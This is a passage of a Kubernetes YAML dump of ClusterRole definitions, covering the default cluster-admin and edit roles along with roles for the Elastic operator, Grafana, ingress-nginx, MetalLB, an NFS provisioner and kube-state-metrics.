    resources:
    - subjectaccessreviews
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: cluster-admin
    resourceVersion: "111"
    uid: 6c2b56a4-2cb5-40e2-827b-5d50e881272d
  rules:
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - '*'
  - nonResourceURLs:
    - '*'
    verbs:
    - '*'
- aggregationRule:
    clusterRoleSelectors:
    - matchLabels:
        rbac.authorization.k8s.io/aggregate-to-edit: "true"
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
    name: edit
    resourceVersion: "437035"
    uid: 5b8a3dec-535d-452b-80b9-3462e35b9c69
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates/status
    verbs:
    - update
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    - secrets
    - services/proxy
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - serviceaccounts
    verbs:
    - impersonate
  - apiGroups:
    - ""
    resources:
    - pods
    - pods/attach
    - pods/exec
    - pods/portforward
    - pods/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods/eviction
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - configmaps
    - events
    - persistentvolumeclaims
    - replicationcontrollers
    - replicationcontrollers/scale
    - secrets
    - serviceaccounts
    - services
    - services/proxy
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - serviceaccounts/token
    verbs:
    - create
  - apiGroups:
    - apps
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - replicasets
    - replicasets/scale
    - statefulsets
    - statefulsets/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - jobs
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - deployments
    - deployments/rollback
    - deployments/scale
    - ingresses
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicationcontrollers/scale
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - networkpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    - endpoints
    - persistentvolumeclaims
    - persistentvolumeclaims/status
    - pods
    - replicationcontrollers
    - replicationcontrollers/scale
    - serviceaccounts
    - services
    - services/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - bindings
    - events
    - limitranges
    - namespaces/status
    - pods/log
    - pods/status
    - replicationcontrollers/status
    - resourcequotas
    - resourcequotas/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - replicasets
    - replicasets/scale
    - replicasets/status
    - statefulsets
    - statefulsets/scale
    - statefulsets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    - horizontalpodautoscalers/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - cronjobs/status
    - jobs
    - jobs/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - ingresses
    - ingresses/status
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicasets/status
    - replicationcontrollers/scale
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    - poddisruptionbudgets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - ingresses/status
    - networkpolicies
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"labels":{"app.kubernetes.io/version":"2.14.0","control-plane":"elastic-operator"},"name":"elastic-operator"},"rules":[{"apiGroups":["authorization.k8s.io"],"resources":["subjectaccessreviews"],"verbs":["create"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["create"]},{"apiGroups":["coordination.k8s.io"],"resourceNames":["elastic-operator-leader"],"resources":["leases"],"verbs":["get","watch","update"]},{"apiGroups":[""],"resources":["endpoints"],"verbs":["get","list","watch"]},{"apiGroups":[""],"resources":["pods","events","persistentvolumeclaims","secrets","services","configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["apps"],"resources":["deployments","statefulsets","daemonsets"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["policy"],"resources":["poddisruptionbudgets"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["elasticsearch.k8s.elastic.co"],"resources":["elasticsearches","elasticsearches/status","elasticsearches/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["autoscaling.k8s.elastic.co"],"resources":["elasticsearchautoscalers","elasticsearchautoscalers/status","elasticsearchautoscalers/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["kibana.k8s.elastic.co"],"resources":["kibanas","kibanas/status","kibanas/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["apm.k8s.elastic.co"],"resources":["apmservers","apmservers/status","apmservers/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["enterprisesearch.k8s.elastic.co"],"resources":["enterprisesearches","enterprisesearches/status","enterprisesearches/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["beat.k8s.elastic.co"],"resources":["beats","beats/status","beats/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["agent.k8s.elastic.co"],"resources":["agents","agents/status","agents/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["maps.k8s.elastic.co"],"resources":["elasticmapsservers","elasticmapsservers/status","elasticmapsservers/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["stackconfigpolicy.k8s.elastic.co"],"resources":["stackconfigpolicies","stackconfigpolicies/status","stackconfigpolicies/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["logstash.k8s.elastic.co"],"resources":["logstashes","logstashes/status","logstashes/finalizers"],"verbs":["get","list","watch","create","update","patch"]},{"apiGroups":["storage.k8s.io"],"resources":["storageclasses"],"verbs":["get","list","watch"]},{"apiGroups":["admissionregistration.k8s.io"],"resources":["validatingwebhookconfigurations"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":[""],"resources":["nodes"],"verbs":["get","list","watch"]}]}
    creationTimestamp: "2025-09-23T12:24:54Z"
    labels:
      app.kubernetes.io/version: 2.14.0
      control-plane: elastic-operator
    name: elastic-operator
    resourceVersion: "437027"
    uid: 3d81aa59-02e1-44e4-b8f4-e07737bb0951
  rules:
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - elastic-operator-leader
    resources:
    - leases
    verbs:
    - get
    - watch
    - update
  - apiGroups:
    - ""
    resources:
    - endpoints
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    - events
    - persistentvolumeclaims
    - secrets
    - services
    - configmaps
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
    - delete
  - apiGroups:
    - apps
    resources:
    - deployments
    - statefulsets
    - daemonsets
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
    - delete
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
    - delete
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    - elasticsearches/status
    - elasticsearches/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    - elasticsearchautoscalers/status
    - elasticsearchautoscalers/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    - kibanas/status
    - kibanas/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    - apmservers/status
    - apmservers/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    - enterprisesearches/status
    - enterprisesearches/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    - beats/status
    - beats/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    - agents/status
    - agents/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    - elasticmapsservers/status
    - elasticmapsservers/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    - stackconfigpolicies/status
    - stackconfigpolicies/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    - logstashes/status
    - logstashes/finalizers
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingwebhookconfigurations
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
    - delete
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"labels":{"app.kubernetes.io/version":"2.14.0","control-plane":"elastic-operator","rbac.authorization.k8s.io/aggregate-to-admin":"true","rbac.authorization.k8s.io/aggregate-to-edit":"true"},"name":"elastic-operator-edit"},"rules":[{"apiGroups":["elasticsearch.k8s.elastic.co"],"resources":["elasticsearches"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["autoscaling.k8s.elastic.co"],"resources":["elasticsearchautoscalers"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["apm.k8s.elastic.co"],"resources":["apmservers"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["kibana.k8s.elastic.co"],"resources":["kibanas"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["enterprisesearch.k8s.elastic.co"],"resources":["enterprisesearches"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["beat.k8s.elastic.co"],"resources":["beats"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["agent.k8s.elastic.co"],"resources":["agents"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["maps.k8s.elastic.co"],"resources":["elasticmapsservers"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["stackconfigpolicy.k8s.elastic.co"],"resources":["stackconfigpolicies"],"verbs":["create","delete","deletecollection","patch","update"]},{"apiGroups":["logstash.k8s.elastic.co"],"resources":["logstashes"],"verbs":["create","delete","deletecollection","patch","update"]}]}
    creationTimestamp: "2025-09-23T12:24:54Z"
    labels:
      app.kubernetes.io/version: 2.14.0
      control-plane: elastic-operator
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
    name: elastic-operator-edit
    resourceVersion: "437029"
    uid: f0195916-a044-4acd-bae6-f33c0b8e1c3d
  rules:
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"labels":{"app.kubernetes.io/version":"2.14.0","control-plane":"elastic-operator","rbac.authorization.k8s.io/aggregate-to-admin":"true","rbac.authorization.k8s.io/aggregate-to-edit":"true","rbac.authorization.k8s.io/aggregate-to-view":"true"},"name":"elastic-operator-view"},"rules":[{"apiGroups":["elasticsearch.k8s.elastic.co"],"resources":["elasticsearches"],"verbs":["get","list","watch"]},{"apiGroups":["autoscaling.k8s.elastic.co"],"resources":["elasticsearchautoscalers"],"verbs":["get","list","watch"]},{"apiGroups":["apm.k8s.elastic.co"],"resources":["apmservers"],"verbs":["get","list","watch"]},{"apiGroups":["kibana.k8s.elastic.co"],"resources":["kibanas"],"verbs":["get","list","watch"]},{"apiGroups":["enterprisesearch.k8s.elastic.co"],"resources":["enterprisesearches"],"verbs":["get","list","watch"]},{"apiGroups":["beat.k8s.elastic.co"],"resources":["beats"],"verbs":["get","list","watch"]},{"apiGroups":["agent.k8s.elastic.co"],"resources":["agents"],"verbs":["get","list","watch"]},{"apiGroups":["maps.k8s.elastic.co"],"resources":["elasticmapsservers"],"verbs":["get","list","watch"]},{"apiGroups":["stackconfigpolicy.k8s.elastic.co"],"resources":["stackconfigpolicies"],"verbs":["get","list","watch"]},{"apiGroups":["logstash.k8s.elastic.co"],"resources":["logstashes"],"verbs":["get","list","watch"]}]}
    creationTimestamp: "2025-09-23T12:24:54Z"
    labels:
      app.kubernetes.io/version: 2.14.0
      control-plane: elastic-operator
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
      rbac.authorization.k8s.io/aggregate-to-view: "true"
    name: elastic-operator-view
    resourceVersion: "437028"
    uid: e1bafde3-f1e1-4c89-b854-003be3bd2085
  rules:
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana-clusterrole
    resourceVersion: "78694"
    uid: 188b4494-b39c-4db3-a06a-9cbc807d27c2
  rules: null
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx
    resourceVersion: "64744"
    uid: 06f192b0-748e-4e2d-ae2e-457f73da5da5
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    - endpoints
    - nodes
    - pods
    - secrets
    - namespaces
    verbs:
    - list
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses/status
    verbs:
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingressclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:get-nodes
    resourceVersion: "258"
    uid: fdcb2ebf-3b33-4633-b2f7-29fb09047079
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    resourceVersion: "417221"
    uid: 66b94dc8-05b7-44b8-87c3-bc725e49c6c3
  rules:
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    - nodes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb:controller
    resourceVersion: "57857"
    uid: 60ea3241-56a8-4635-a5df-2f3c41b9c272
  rules:
  - apiGroups:
    - ""
    resources:
    - services
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
  - apiGroups:
    - ""
    resources:
    - services/status
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
  - apiGroups:
    - admissionregistration.k8s.io
    resourceNames:
    - metallb-webhook-configuration
    resources:
    - validatingwebhookconfigurations
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingwebhookconfigurations
    verbs:
    - list
    - watch
  - apiGroups:
    - apiextensions.k8s.io
    resourceNames:
    - bfdprofiles.metallb.io
    - bgpadvertisements.metallb.io
    - bgppeers.metallb.io
    - ipaddresspools.metallb.io
    - l2advertisements.metallb.io
    - communities.metallb.io
    resources:
    - customresourcedefinitions
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - apiextensions.k8s.io
    resources:
    - customresourcedefinitions
    verbs:
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb:speaker
    resourceVersion: "57856"
    uid: 871a2545-4aee-4b11-8c5c-f0c1262a9370
  rules:
  - apiGroups:
    - ""
    resources:
    - services
    - endpoints
    - nodes
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
  - apiGroups:
    - metallb.io
    resources:
    - servicel2statuses
    - servicel2statuses/status
    verbs:
    - '*'
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner-runner
    resourceVersion: "977133"
    uid: e3060ec7-ad25-4773-b1b0-3e3ff3915125
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - get
    - list
    - watch
    - create
    - delete
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - watch
    - update
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - update
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    resourceVersion: "1129846"
    uid: af1d1915-f475-4181-8233-c146bca3deec
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs
    verbs:
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - daemonsets
    verbs:
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - deployments
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - endpoints
    verbs:
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    verbs:
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    verbs:
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - list
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - limitranges
    verbs:
    - list
    - watch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - mutatingwebhookconfigurations
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
